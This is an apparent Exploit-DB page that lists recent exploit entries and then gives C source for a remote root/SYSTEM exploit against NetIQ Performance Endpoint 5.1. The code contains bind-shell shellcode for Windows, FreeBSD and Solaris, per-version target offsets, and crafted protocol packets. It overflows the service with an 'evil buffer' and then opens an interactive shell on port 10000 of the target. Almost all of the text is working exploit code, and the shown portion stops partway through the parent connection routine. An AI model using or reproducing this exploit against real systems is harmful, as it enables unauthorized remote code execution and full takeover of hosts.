3de26153c8
23 changes to exploits/shellcodes/ghdb ELSI Smart Floor V3.3.3 - Stored Cross-Site Scripting (XSS) Hughes Satellite Router HX200 v8.3.1.14 - Remote File Inclusion Nexxt Router Firmware 42.103.1.5095 - Remote Code Execution (RCE) (Authenticated) TP-Link TL-WR902AC firmware 210730 (V3) - Remote Code Execution (RCE) (Authenticated) GeoVision Camera GV-ADR2701 - Authentication Bypass AD Manager Plus 7122 - Remote Code Execution (RCE) Enlightenment v0.25.3 - Privilege escalation Centos Web Panel 7 v0.9.8.1147 - Unauthenticated Remote Code Execution (RCE) Apache 2.4.x - Buffer Overflow perfSONAR v4.4.5 - Partial Blind CSRF SugarCRM 12.2.0 - Remote Code Execution (RCE) XCMS v1.83 - Remote Command Execution (RCE) Yahoo User Interface library (YUI2) TreeView v2.8.2 - Multiple Reflected Cross Site Scripting (XSS) GitLab v15.3 - Remote Code Execution (RCE) (Authenticated) AimOne Video Converter V2.04 Build 103 - Buffer Overflow (DoS) NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit Splashtop 8.71.12001.0 - Unquoted Service Path Reprise Software RLM v14.2BL4 - Cross-Site Scripting (XSS) FlipRotation v1.0 decoder - Shellcode (146 bytes) Linux/x86 - Polymorphic linux x86 Shellcode (92 Bytes) macOS/x64 - Execve Caesar Cipher String Null-Free Shellcode
801 lines
No EOL
24 KiB
C
801 lines
No EOL
24 KiB
C
/*
|
||
# Exploit Title: NetIQ/Microfocus Performance Endpoint v5.1 - remote root/SYSTEM exploit
|
||
# Date: Jun 2007
|
||
# Exploit Author: mu-b
|
||
# Vendor Homepage: https://www.microfocus.com/en-us/cyberres/identity-access-management
|
||
# Version: All
|
||
# Tested on: Windows / Solaris x86/SPARC
|
||
# CVE : 0day
|
||
* endpoint-pown-uni.c
|
||
*
|
||
* Copyright (c) 2007 by <mu-b@digit-labs.org>
|
||
*
|
||
* NetIQ Performance Endpoint <=5.1 remote root/SYSTEM exploit
|
||
* by mu-b - Jun 2007
|
||
*
|
||
* $Id: endpoint-pown-uni.c 56 2021-04-23 10:15:49Z mu-b $
|
||
*
|
||
* - Tested on: NetIQ Performance Endpoint 5.1.15750 (win32)
|
||
* (Revised: December, 2012)
|
||
* NetIQ Performance Endpoint 5.1.15541 (win32)
|
||
* (Revised: December, 2012)
|
||
* NetIQ Performance Endpoint 5.1.15368 (win32)
|
||
* (Revised: December, 2012)
|
||
* NetIQ Performance Endpoint 5.1 (win32)
|
||
* NetIQ Performance Endpoint 4.2 (freebsd-x86)
|
||
* NetIQ Performance Endpoint 5.1 (solaris-SPARC+noexec-stack)
|
||
* (Revised: May 23, 2006)
|
||
*
|
||
*
|
||
* "No executable code (like Java or Visual Basic) is sent. There is no way
|
||
* to do something like 'run this command.' 100,000’s of endpoints have been
|
||
* installed worldwide without incident."
|
||
*
|
||
* "Endpoints do rigorous internal validation. For example, endpoints are not
|
||
* susceptible to 'buffer overrun' attacks used by hackers."
|
||
* - https://tinyurl.com/lgmblyj
|
||
*
|
||
* - Private Source Code -DO NOT DISTRIBUTE -
|
||
* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
#include <arpa/inet.h>
|
||
#include <assert.h>
|
||
#include <ifaddrs.h>
|
||
#include <limits.h>
|
||
#include <net/if.h>
|
||
#include <netinet/in.h>
|
||
#include <netdb.h>
|
||
#include <signal.h>
|
||
#include <string.h>
|
||
#include <sys/ioctl.h>
|
||
#include <sys/types.h>
|
||
#include <sys/wait.h>
|
||
#include <time.h>
|
||
#include <unistd.h>
|
||
|
||
#define IPV4_BUFLEN 16 /* "255.255.255.255\0" */
|
||
|
||
#define PORT_SHELL 10000
|
||
#define ENDPT_TCP_PORT 10115
|
||
#define ENDPT_PKTMAX 0x1388
|
||
|
||
static char ppkt_buf1[] =
|
||
"\x06" /* ENDPT_COMMAND_SETUP_E1 */
|
||
"\x07\x14\x43\x1A" /* verify_get_id (1) */
|
||
"\x00\x22" /* copyright_smart_compare */
|
||
"Copyright Ganymede Software Inc."
|
||
"\x00\x03" /* */
|
||
"\xff" /* code_convert_from_line */
|
||
"\x00\x03" /* */
|
||
"\xff" /* code_convert_from_line */
|
||
"\x00" /* */
|
||
"\x00\x02" /* len < 0x80 */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* len < 0x40 */
|
||
"\x41\x41\x41\x41\x41\x41\x41\x41" /* */
|
||
"\x41\x41\x41\x41\x41\x41\x41\x41" /* */
|
||
"\x02" /* protocol */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x41\x41\x41\x41\x41\x41" /* */
|
||
"\x00\x00\x00\x01" /* */
|
||
"\x00\x00\x00\x02" /* 218h */
|
||
"\x00" /* */
|
||
"\x01" /* 1ACh */
|
||
"\x00\x00" /* */
|
||
"\x00" /* 254h */
|
||
"\x02" /* protocol */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00"; /* */
|
||
|
||
static char ppkt_buf1_end[] =
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00"; /* */
|
||
|
||
static char ppkt_buf2[] =
|
||
"\x06" /* ENDPT_COMMAND_SETUP_E1 */
|
||
"\x07\x14\x43\x1A" /* verify_get_id (1) */
|
||
"\x00\x22" /* copyright_smart_compare */
|
||
"Copyright Ganymede Software Inc."
|
||
"\x00\x03" /* */
|
||
"\xff" /* code_convert_from_line */
|
||
"\x00\x03" /* */
|
||
"\xff" /* code_convert_from_line */
|
||
"\x02" /* protocol */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x69" /* 210h */
|
||
"\x00\x00\x00\x69" /* var_C */
|
||
"\x00\x02" /* */
|
||
"\x00\x00\x00\x69" /* var_C */
|
||
"\x00\x00\x00\x69" /* 218h */
|
||
"\x69" /* */
|
||
"\x01" /* 1ACh */
|
||
"\x00\x00" /* */
|
||
"\x69" /* 254h */
|
||
"\x02" /* protocol */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00"; /* */
|
||
|
||
static char ppkt_buf2_end[] =
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00" /* */
|
||
"\x69" /* 0A8h */
|
||
"\x00\x03" /* len < 0x40 */
|
||
"\x00"; /* */
|
||
|
||
static char cpkt_buf1[] =
|
||
"\x07"
|
||
"AAAA";
|
||
|
||
static char cpkt_buf2[] =
|
||
"\x38"
|
||
"\x00\x04"
|
||
"AAAA";
|
||
|
||
static char x86_evil_len[] =
|
||
"\x11\xc0"; /* adc eax, eax */
|
||
|
||
#define X86_NOP_BYTE 0x90 /* nop */
|
||
|
||
static char sparc_evil_len[] =
|
||
"\x10\x80\x00\x3c"; /* ba */
|
||
|
||
static char sparc_nop[] =
|
||
"\x01\x00\x00\x00"; /* nop */
|
||
|
||
static char hammer_buf[] =
|
||
"\x00\x25\x38"
|
||
"\x00\x20"
|
||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||
"\x00\x00\x00\x00\x00\x00\x00\x00";
|
||
|
||
static char win32_x86_bind[] =
|
||
"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8e"
|
||
"\x2b\xb7\x2a\x83\xeb\xfc\xe2\xf4\x72\x41\x5c\x67\x66\xd2\x48\xd5"
|
||
"\x71\x4b\x3c\x46\xaa\x0f\x3c\x6f\xb2\xa0\xcb\x2f\xf6\x2a\x58\xa1"
|
||
"\xc1\x33\x3c\x75\xae\x2a\x5c\x63\x05\x1f\x3c\x2b\x60\x1a\x77\xb3"
|
||
"\x22\xaf\x77\x5e\x89\xea\x7d\x27\x8f\xe9\x5c\xde\xb5\x7f\x93\x02"
|
||
"\xfb\xce\x3c\x75\xaa\x2a\x5c\x4c\x05\x27\xfc\xa1\xd1\x37\xb6\xc1"
|
||
"\x8d\x07\x3c\xa3\xe2\x0f\xab\x4b\x4d\x1a\x6c\x4e\x05\x68\x87\xa1"
|
||
"\xce\x27\x3c\x5a\x92\x86\x3c\x6a\x86\x75\xdf\xa4\xc0\x25\x5b\x7a"
|
||
"\x71\xfd\xd1\x79\xe8\x43\x84\x18\xe6\x5c\xc4\x18\xd1\x7f\x48\xfa"
|
||
"\xe6\xe0\x5a\xd6\xb5\x7b\x48\xfc\xd1\xa2\x52\x4c\x0f\xc6\xbf\x28"
|
||
"\xdb\x41\xb5\xd5\x5e\x43\x6e\x23\x7b\x86\xe0\xd5\x58\x78\xe4\x79"
|
||
"\xdd\x78\xf4\x79\xcd\x78\x48\xfa\xe8\x43\x90\x3a\xe8\x78\x3e\xcb"
|
||
"\x1b\x43\x13\x30\xfe\xec\xe0\xd5\x58\x41\xa7\x7b\xdb\xd4\x67\x42"
|
||
"\x2a\x86\x99\xc3\xd9\xd4\x61\x79\xdb\xd4\x67\x42\x6b\x62\x31\x63"
|
||
"\xd9\xd4\x61\x7a\xda\x7f\xe2\xd5\x5e\xb8\xdf\xcd\xf7\xed\xce\x7d"
|
||
"\x71\xfd\xe2\xd5\x5e\x4d\xdd\x4e\xe8\x43\xd4\x47\x07\xce\xdd\x7a"
|
||
"\xd7\x02\x7b\xa3\x69\x41\xf3\xa3\x6c\x1a\x77\xd9\x24\xd5\xf5\x07"
|
||
"\x70\x69\x9b\xb9\x03\x51\x8f\x81\x25\x80\xdf\x58\x70\x98\xa1\xd5"
|
||
"\xfb\x6f\x48\xfc\xd5\x7c\xe5\x7b\xdf\x7a\xdd\x2b\xdf\x7a\xe2\x7b"
|
||
"\x71\xfb\xdf\x87\x57\x2e\x79\x79\x71\xfd\xdd\xd5\x71\x1c\x48\xfa"
|
||
"\x05\x7c\x4b\xa9\x4a\x4f\x48\xfc\xdc\xd4\x67\x42\x61\xe5\x57\x4a"
|
||
"\xdd\xd4\x61\xd5\x5e\x2b\xb7\x2a";
|
||
|
||
static char freebsd_x86_bind[] =
|
||
"\x6a\x61\x58\x99\x52\x68\x10\x02\x27\x10\x89\xe1\x52\x42\x52\x42"
|
||
"\x52\x6a\x10\xcd\x80\x99\x93\x51\x53\x52\x6a\x68\x58\xcd\x80\xb0"
|
||
"\x6a\xcd\x80\x52\x53\x52\xb0\x1e\xcd\x80\x97\x6a\x02\x59\x6a\x5a"
|
||
"\x58\x51\x57\x51\xcd\x80\x49\x79\xf5\x50\x68\x2f\x2f\x73\x68\x68"
|
||
"\x2f\x62\x69\x6e\x89\xe3\x50\x54\x53\x53\xb0\x3b\xcd\x80";
|
||
|
||
static char solaris_sparc_bind[] =
|
||
"\x9c\x2b\xa0\x07\x98\x10\x20\x01\x96\x1a\xc0\x0b\x94\x1a\xc0\x0b"
|
||
"\x92\x10\x20\x02\x90\x10\x20\x02\x82\x10\x20\xe6\x91\xd0\x20\x08"
|
||
"\xd0\x23\xbf\xf8\x21\x00\x00\x89\xa0\x14\x23\x10\xe0\x23\xbf\xf0"
|
||
"\xc0\x23\xbf\xf4\x92\x23\xa0\x10\x94\x10\x20\x10\x82\x10\x20\xe8"
|
||
"\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x10\x20\x01\x82\x10\x20\xe9"
|
||
"\x91\xd0\x20\x08\xd0\x03\xbf\xf8\x92\x1a\x40\x09\x94\x12\x40\x09"
|
||
"\x82\x10\x20\xea\x91\xd0\x20\x08\xd0\x23\xbf\xf8\x94\x10\x20\x03"
|
||
"\x92\x10\x20\x09\x94\xa2\xa0\x01\x82\x10\x20\x3e\x91\xd0\x20\x08"
|
||
"\x12\xbf\xff\xfc\xd0\x03\xbf\xf8\x94\x1a\xc0\x0b\x21\x0b\xd8\x9a"
|
||
"\xa0\x14\x21\x6e\x23\x0b\xdc\xda\x90\x23\xa0\x10\x92\x23\xa0\x08"
|
||
"\xe0\x3b\xbf\xf0\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b"
|
||
"\x91\xd0\x20\x08";
|
||
|
||
static char solaris_x86_bind[] =
|
||
"\xb8\xff\xff\xff\xff\xba\xfd\xff\xd8\xef\xf7\xd0\xf7\xd2\x50\x52"
|
||
"\x89\xe7\x31\xdb\xf7\xe3\xb0\x02\x50\x52\x52\x50\x50\x50\xb0\xe6"
|
||
"\xcd\x91\x93\x6a\x10\x57\x53\x52\xb0\xe8\xcd\x91\x52\x53\x52\xb0"
|
||
"\xe9\xcd\x91\x52\x53\x6a\x02\xb0\xea\xcd\x91\x93\x92\x99\x59\x51"
|
||
"\x52\xb0\x06\xcd\x91\x51\x6a\x09\x53\x52\xb0\x3e\xcd\x91\x83\xc4"
|
||
"\x18\x49\x79\xeb\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
|
||
"\xe3\x52\x53\x89\xe1\x52\x52\x51\x53\x52\xb0\x3b\xcd\x91";
|
||
|
||
#define NUM_TARGETS 7
|
||
|
||
#define ARCH_X86 0
|
||
#define ARCH_SPARC 1
|
||
|
||
struct target_t
|
||
{
|
||
const char *name;
|
||
const char *zshell;
|
||
const int zshell_len;
|
||
const int zshell_pkt_len;
|
||
const int fp_indx;
|
||
const int fp_offset;
|
||
const int arch;
|
||
};
|
||
|
||
struct target_t targets[] = {
|
||
{ "NetIQ Endpoint 5.1.15750 - Microsoft Windows (universal)",
|
||
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x490, ARCH_X86 },
|
||
{ "NetIQ Endpoint 5.1.15541 - Microsoft Windows (universal)",
|
||
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x490, ARCH_X86 },
|
||
{ "NetIQ Endpoint 5.1.15368 - Microsoft Windows (universal)",
|
||
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x488, ARCH_X86 },
|
||
{ "NetIQ Endpoint 5.1 - Microsoft Windows (universal)",
|
||
win32_x86_bind, sizeof win32_x86_bind, 0x11c0, 33, 0x480, ARCH_X86 },
|
||
{ "NetIQ Endpoint 5.1 - FreeBSD (universal)",
|
||
freebsd_x86_bind, sizeof freebsd_x86_bind, 0x11c0, 29, 0x3FC, ARCH_X86 },
|
||
{ "NetIQ Endpoint 5.1 - Solaris SPARC (universal)",
|
||
solaris_sparc_bind, sizeof solaris_sparc_bind, 0x1080, 29, 0x400, ARCH_SPARC },
|
||
{ "NetIQ Endpoint 5.1 - Solaris x86 (universal)",
|
||
solaris_x86_bind, sizeof solaris_x86_bind, 0x11c0, 29, 0x400, ARCH_X86 },
|
||
{0}
|
||
};
|
||
|
||
static const char *quotes[] = {
|
||
" \"No executable code (like Java or Visual Basic) is sent. There is no way\n"
|
||
" to do something like 'run this command.' 100,000’s of endpoints have been\n"
|
||
" installed worldwide without incident.\"",
|
||
" \"Endpoints do rigorous internal validation. For example, endpoints are not\n"
|
||
" susceptible to 'buffer overrun' attacks used by hackers.\""
|
||
};
|
||
|
||
static int verbose = 1; /* verbosity */
|
||
static int ppid, cpid; /* parent and child process id's */
|
||
|
||
static int get_localip_getifaddrs (in_addr_t *);
|
||
static int sock_send (int, char *, int);
|
||
static int sock_recv (int, char *, int);
|
||
static int sock_recv_str (int, char *, int);
|
||
static void shellami (int);
|
||
|
||
static void
|
||
fatal (void)
|
||
{
|
||
kill (0, SIGKILL);
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
|
||
static int
|
||
get_localip_getifaddrs (in_addr_t *ip_addr)
|
||
{
|
||
struct ifaddrs *ifa_head;
|
||
int result;
|
||
|
||
result = -1;
|
||
if (getifaddrs (&ifa_head) == 0)
|
||
{
|
||
struct ifaddrs *ifa_cur;
|
||
|
||
for (ifa_cur = ifa_head; ifa_cur; ifa_cur = ifa_cur->ifa_next)
|
||
{
|
||
if (ifa_cur->ifa_name != NULL && ifa_cur->ifa_addr != NULL)
|
||
{
|
||
if (ifa_cur->ifa_addr->sa_family != AF_INET ||
|
||
!(ifa_cur->ifa_flags & IFF_UP))
|
||
continue;
|
||
if (ifa_cur->ifa_flags & IFF_LOOPBACK)
|
||
continue;
|
||
|
||
memcpy (ip_addr,
|
||
&((struct sockaddr_in *) ifa_cur->ifa_addr)->sin_addr,
|
||
sizeof *ip_addr);
|
||
result = 0;
|
||
break;
|
||
}
|
||
}
|
||
|
||
freeifaddrs (ifa_head);
|
||
}
|
||
|
||
return (result);
|
||
}
|
||
|
||
static int
|
||
sock_send (int fd, char *src, int len)
|
||
{
|
||
int n;
|
||
if ((n = send (fd, src, len, 0)) < 0)
|
||
{
|
||
perror ("send()");
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
|
||
return (n);
|
||
}
|
||
|
||
static int
|
||
sock_recv (int fd, char *dst, int len)
|
||
{
|
||
int n;
|
||
if ((n = recv (fd, dst, len, 0)) < 0)
|
||
{
|
||
perror ("recv()");
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
|
||
return (n);
|
||
}
|
||
|
||
static int
|
||
sock_recv_str (int fd, char *dst, int len)
|
||
{
|
||
int n = sock_recv (fd, dst, len - 1);
|
||
dst[n] = '\0';
|
||
return (n);
|
||
}
|
||
|
||
static void
|
||
shellami (int fd)
|
||
{
|
||
int n;
|
||
fd_set rset;
|
||
char rbuf[1024];
|
||
|
||
while (1)
|
||
{
|
||
FD_ZERO (&rset);
|
||
FD_SET (fd, &rset);
|
||
FD_SET (STDIN_FILENO, &rset);
|
||
|
||
if (select (fd + 1, &rset, NULL, NULL, NULL) < 0)
|
||
{
|
||
perror ("select()");
|
||
fatal ();
|
||
}
|
||
|
||
if (FD_ISSET (fd, &rset))
|
||
{
|
||
if ((n = sock_recv_str (fd, rbuf, sizeof (rbuf) - 1)) <= 0)
|
||
{
|
||
fprintf (stderr, "Connection closed by foreign host.\n");
|
||
exit (EXIT_SUCCESS);
|
||
}
|
||
printf ("%s", rbuf);
|
||
fflush (stdout);
|
||
}
|
||
if (FD_ISSET (STDIN_FILENO, &rset))
|
||
{
|
||
if ((n = read (STDIN_FILENO, rbuf, sizeof (rbuf) - 1)) > 0)
|
||
{
|
||
rbuf[n] = '\0';
|
||
sock_send (fd, rbuf, n);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
|
||
static int
|
||
sockami (char *host, int port)
|
||
{
|
||
struct sockaddr_in address;
|
||
struct hostent *hp;
|
||
int fd;
|
||
|
||
fflush (stdout);
|
||
if ((fd = socket (AF_INET, SOCK_STREAM, 0)) == -1)
|
||
{
|
||
perror ("socket()");
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
|
||
if ((hp = gethostbyname (host)) == NULL)
|
||
{
|
||
perror ("gethostbyname()");
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
|
||
memset (&address, 0, sizeof (address));
|
||
memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
|
||
address.sin_family = AF_INET;
|
||
address.sin_port = htons (port);
|
||
|
||
if (connect (fd, (struct sockaddr *) &address, sizeof (address)) < 0)
|
||
{
|
||
perror ("connect()");
|
||
return (-1);
|
||
}
|
||
|
||
return (fd);
|
||
}
|
||
|
||
int
|
||
endpt_add_string (char *buf, char *str)
|
||
{
|
||
unsigned int str_len;
|
||
unsigned short str_lens;
|
||
|
||
assert (buf != NULL && str != NULL);
|
||
|
||
str_len = 2 + strlen (str) + 1;
|
||
str_lens = htons (str_len);
|
||
|
||
/* add the string length and copy, including NULL */
|
||
*((unsigned short *) buf) = str_lens;
|
||
memcpy (buf + 2, str, str_len - 2);
|
||
|
||
return (str_len);
|
||
}
|
||
|
||
char *
|
||
endpt_read_packet (int fd, char *buf)
|
||
{
|
||
unsigned short pkt_len;
|
||
int n;
|
||
|
||
n = sock_recv (fd, (char *) &pkt_len, sizeof pkt_len);
|
||
if (n < 2)
|
||
{
|
||
fprintf (stderr, "endpt_read_packet: failed reading length!\n");
|
||
return (NULL);
|
||
}
|
||
|
||
pkt_len = ntohs (pkt_len);
|
||
if (pkt_len > ENDPT_PKTMAX)
|
||
{
|
||
fprintf (stderr, "endpt_read_packet: invalid packet length!\n");
|
||
return (NULL);
|
||
}
|
||
|
||
n = sock_recv (fd, buf, pkt_len - 2);
|
||
if (n < pkt_len - 2)
|
||
{
|
||
fprintf (stderr, "endpt_read_packet: failed reading packet (%d read, need %d)!\n", n, pkt_len);
|
||
return (NULL);
|
||
}
|
||
|
||
return (buf);
|
||
}
|
||
|
||
char *
|
||
endpt_create_packet (char *buf, unsigned int len)
|
||
{
|
||
char *pkt_buf;
|
||
unsigned int pkt_len;
|
||
unsigned short pkt_lens;
|
||
|
||
assert (buf != NULL && len > 0);
|
||
assert (len <= UINT_MAX - 2);
|
||
assert (len <= ENDPT_PKTMAX - 2);
|
||
|
||
pkt_len = 2 + len;
|
||
pkt_buf = malloc (pkt_len * sizeof (char));
|
||
if (pkt_buf == NULL)
|
||
return (NULL);
|
||
|
||
pkt_lens = htons (pkt_len);
|
||
|
||
/* add the packet length and copy */
|
||
*((unsigned short *) pkt_buf) = pkt_lens;
|
||
memcpy (pkt_buf + 2, buf, len);
|
||
|
||
return (pkt_buf);
|
||
}
|
||
|
||
void
|
||
endpt_listen_child (char *thost, struct target_t *trgt)
|
||
{
|
||
struct sockaddr_in servaddr, cliaddr;
|
||
char pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
|
||
unsigned int var_30_ptr;
|
||
int lfd, cfd, sfd, pid;
|
||
socklen_t clilen;
|
||
|
||
sleep (1);
|
||
pid = getpid ();
|
||
|
||
if ((lfd = socket (PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
|
||
{
|
||
perror ("socket()");
|
||
fatal ();
|
||
}
|
||
|
||
memset (&servaddr, 0, sizeof servaddr);
|
||
servaddr.sin_family = AF_INET;
|
||
servaddr.sin_addr.s_addr = htonl (INADDR_ANY);
|
||
servaddr.sin_port = htons (ENDPT_TCP_PORT);
|
||
|
||
if (bind (lfd, (struct sockaddr *) &servaddr, sizeof servaddr) < 0)
|
||
{
|
||
perror ("bind()");
|
||
fatal ();
|
||
}
|
||
|
||
if (listen (lfd, 2) < 0)
|
||
{
|
||
perror ("listen()");
|
||
fatal ();
|
||
}
|
||
|
||
clilen = sizeof cliaddr;
|
||
if ((cfd = accept (lfd, (struct sockaddr *) &cliaddr, &clilen)) < 0)
|
||
{
|
||
perror ("accept()");
|
||
fatal ();
|
||
}
|
||
|
||
printf ("[child-%d] connection accepted from %s:%d\n",
|
||
pid, inet_ntoa (cliaddr.sin_addr), ntohs (cliaddr.sin_port));
|
||
|
||
printf ("[child-%d] reading first packet...", pid);
|
||
|
||
/* read dummy packet */
|
||
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
|
||
{
|
||
close (cfd);
|
||
fatal ();
|
||
}
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] sending first reply...", pid);
|
||
pkt_ptr = endpt_create_packet (cpkt_buf1, sizeof cpkt_buf1 - 1);
|
||
|
||
sock_send (cfd, pkt_ptr, (sizeof cpkt_buf1 - 1) + 2);
|
||
free (pkt_ptr);
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] reading second packet...", pid);
|
||
|
||
/* read dummy packet */
|
||
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
|
||
{
|
||
close (cfd);
|
||
fatal ();
|
||
}
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] reading third packet...", pid);
|
||
|
||
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
|
||
{
|
||
close (cfd);
|
||
fatal ();
|
||
}
|
||
memcpy (&var_30_ptr, pkt_buf + 3, sizeof var_30_ptr);
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] MAGIC COOKIE: 0x%08x\n", pid, var_30_ptr);
|
||
|
||
memcpy (&cpkt_buf2[3], &var_30_ptr, sizeof var_30_ptr);
|
||
|
||
printf ("[child-%d] reading fourth packet...", pid);
|
||
|
||
/* read dummy packet */
|
||
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
|
||
{
|
||
close (cfd);
|
||
fatal ();
|
||
}
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] reading fifth packet...", pid);
|
||
|
||
if ((ptr = endpt_read_packet (cfd, pkt_buf)) == NULL)
|
||
{
|
||
close (cfd);
|
||
fatal ();
|
||
}
|
||
memcpy (&var_30_ptr, pkt_buf + 3, sizeof var_30_ptr);
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] MAGIC COOKIE: 0x%08x\n", pid, var_30_ptr);
|
||
|
||
memcpy (&cpkt_buf2[3], &var_30_ptr, sizeof var_30_ptr);
|
||
|
||
printf ("[child-%d] sending second reply...", pid);
|
||
pkt_ptr = endpt_create_packet (cpkt_buf2, sizeof cpkt_buf2 - 1);
|
||
|
||
sock_send (cfd, pkt_ptr, (sizeof cpkt_buf2 - 1) + 2);
|
||
free (pkt_ptr);
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] sending evil buffer...", pid);
|
||
|
||
ptr = pkt_buf;
|
||
if (trgt->arch == ARCH_X86)
|
||
{
|
||
memcpy (ptr, x86_evil_len, sizeof x86_evil_len);
|
||
ptr += sizeof x86_evil_len - 1;
|
||
memset (ptr, X86_NOP_BYTE, 0x11c0 - 2);
|
||
}
|
||
else if (trgt->arch == ARCH_SPARC)
|
||
{
|
||
int i;
|
||
|
||
for (i = 0; i < 2; i++, ptr += sizeof sparc_evil_len - 1)
|
||
memcpy (ptr, sparc_evil_len, sizeof sparc_evil_len);
|
||
|
||
for (i = 0; i < 80; i++, ptr += sizeof sparc_nop - 1)
|
||
memcpy (ptr, sparc_nop, sizeof sparc_nop);
|
||
}
|
||
else
|
||
{
|
||
fprintf (stderr, "opps\n");
|
||
exit (EXIT_FAILURE);
|
||
}
|
||
|
||
memcpy (&pkt_buf[256], trgt->zshell, trgt->zshell_len - 1);
|
||
sock_send (cfd, pkt_buf, trgt->zshell_pkt_len);
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] sending hammer buffer...", pid);
|
||
|
||
ptr = pkt_buf;
|
||
memcpy (ptr, hammer_buf, sizeof hammer_buf);
|
||
memcpy (&pkt_buf[5], &var_30_ptr, sizeof var_30_ptr);
|
||
if (trgt->arch == ARCH_SPARC)
|
||
var_30_ptr = ntohl (var_30_ptr);
|
||
|
||
var_30_ptr -= trgt->fp_offset - 0x08;
|
||
|
||
if (trgt->arch == ARCH_SPARC)
|
||
var_30_ptr = htonl (var_30_ptr);
|
||
|
||
memcpy (&pkt_buf[trgt->fp_indx], &var_30_ptr, sizeof var_30_ptr);
|
||
sock_send (cfd, pkt_buf, sizeof hammer_buf - 1);
|
||
printf ("done\n");
|
||
|
||
printf ("[child-%d] waiting for the shellcode to be executed...\n", pid);
|
||
sleep (3);
|
||
if ((sfd = sockami (thost, PORT_SHELL)) != -1)
|
||
{
|
||
printf ("+Wh00t!\n\n");
|
||
shellami (sfd);
|
||
}
|
||
|
||
sleep (1);
|
||
close (cfd);
|
||
}
|
||
|
||
void
|
||
endpt_parent (char *thost)
|
||
{
|
||
struct in_addr ip_addr;
|
||
char ip_buf[IPV4_BUFLEN], pkt_buf[ENDPT_PKTMAX-2], *pkt_ptr, *ptr;
|
||
int fd;
|
||
|
||
get_localip_getifaddrs (&ip_addr.s_addr);
|
||
strncpy (ip_buf, inet_ntoa (ip_addr), sizeof ip_buf);
|
||
ip_buf[sizeof ip_buf - 1] = '\0';
|
||
|
||
if (verbose)
|
||
fprintf (stderr, "[parent-%d] source address %s\n", ppid, ip_buf);
|
||
|
||
fflush (stdout);
|
||
|
||
printf ("[parent-%d] connecting to %s:%d...", ppid, thost, ENDPT_TCP_PORT);
|
||
if ((fd = sockami (thost, ENDPT_TCP_PORT)) < 0)
|
||
fatal ();
|
||
printf ("done\n");
|
||
|
||
printf ("[parent-%d] building first packet...", ppid);
|
||
|
||
ptr = pkt_buf;
|
||
memcpy (ptr, ppkt_buf1, sizeof ppkt_buf1);
|
||
ptr += sizeof ppkt_buf1 - 1;
|
||
|
||
/* add the connect-back IP */
|
||
ptr += endpt_add_string (ptr, ip_buf);
|
||
|
||
memcpy (ptr, ppkt_buf1_end, sizeof ppkt_buf1_end);
|
||
ptr += sizeof ppkt_buf1_end - 1;
|
||
|
||
pkt_ptr = endpt_create_packet (pkt_buf, ptr - pkt_buf);
|
||
printf ("done\n");
|
||
|
||
sock_send (fd, pkt_ptr, (ptr - pkt_buf) + 2);
|
||
free (pkt_ptr);
|
||
|
||
printf ("[parent-%d] building second packet...", ppid);
|
||
|
||
ptr = pkt_buf;
|
||
memcpy (ptr, ppkt_buf2, sizeof ppkt_buf2);
|
||
ptr += sizeof ppkt_buf2 - 1;
|
||
|
||
/* add the connect-back IP */
|
||
ptr += endpt_add_string (ptr, ip_buf);
|
||
|
||
memcpy (ptr, ppkt_buf2_end, sizeof ppkt_buf2_end);
|
||
ptr += sizeof ppkt_buf2_end - 1;
|
||
|
||
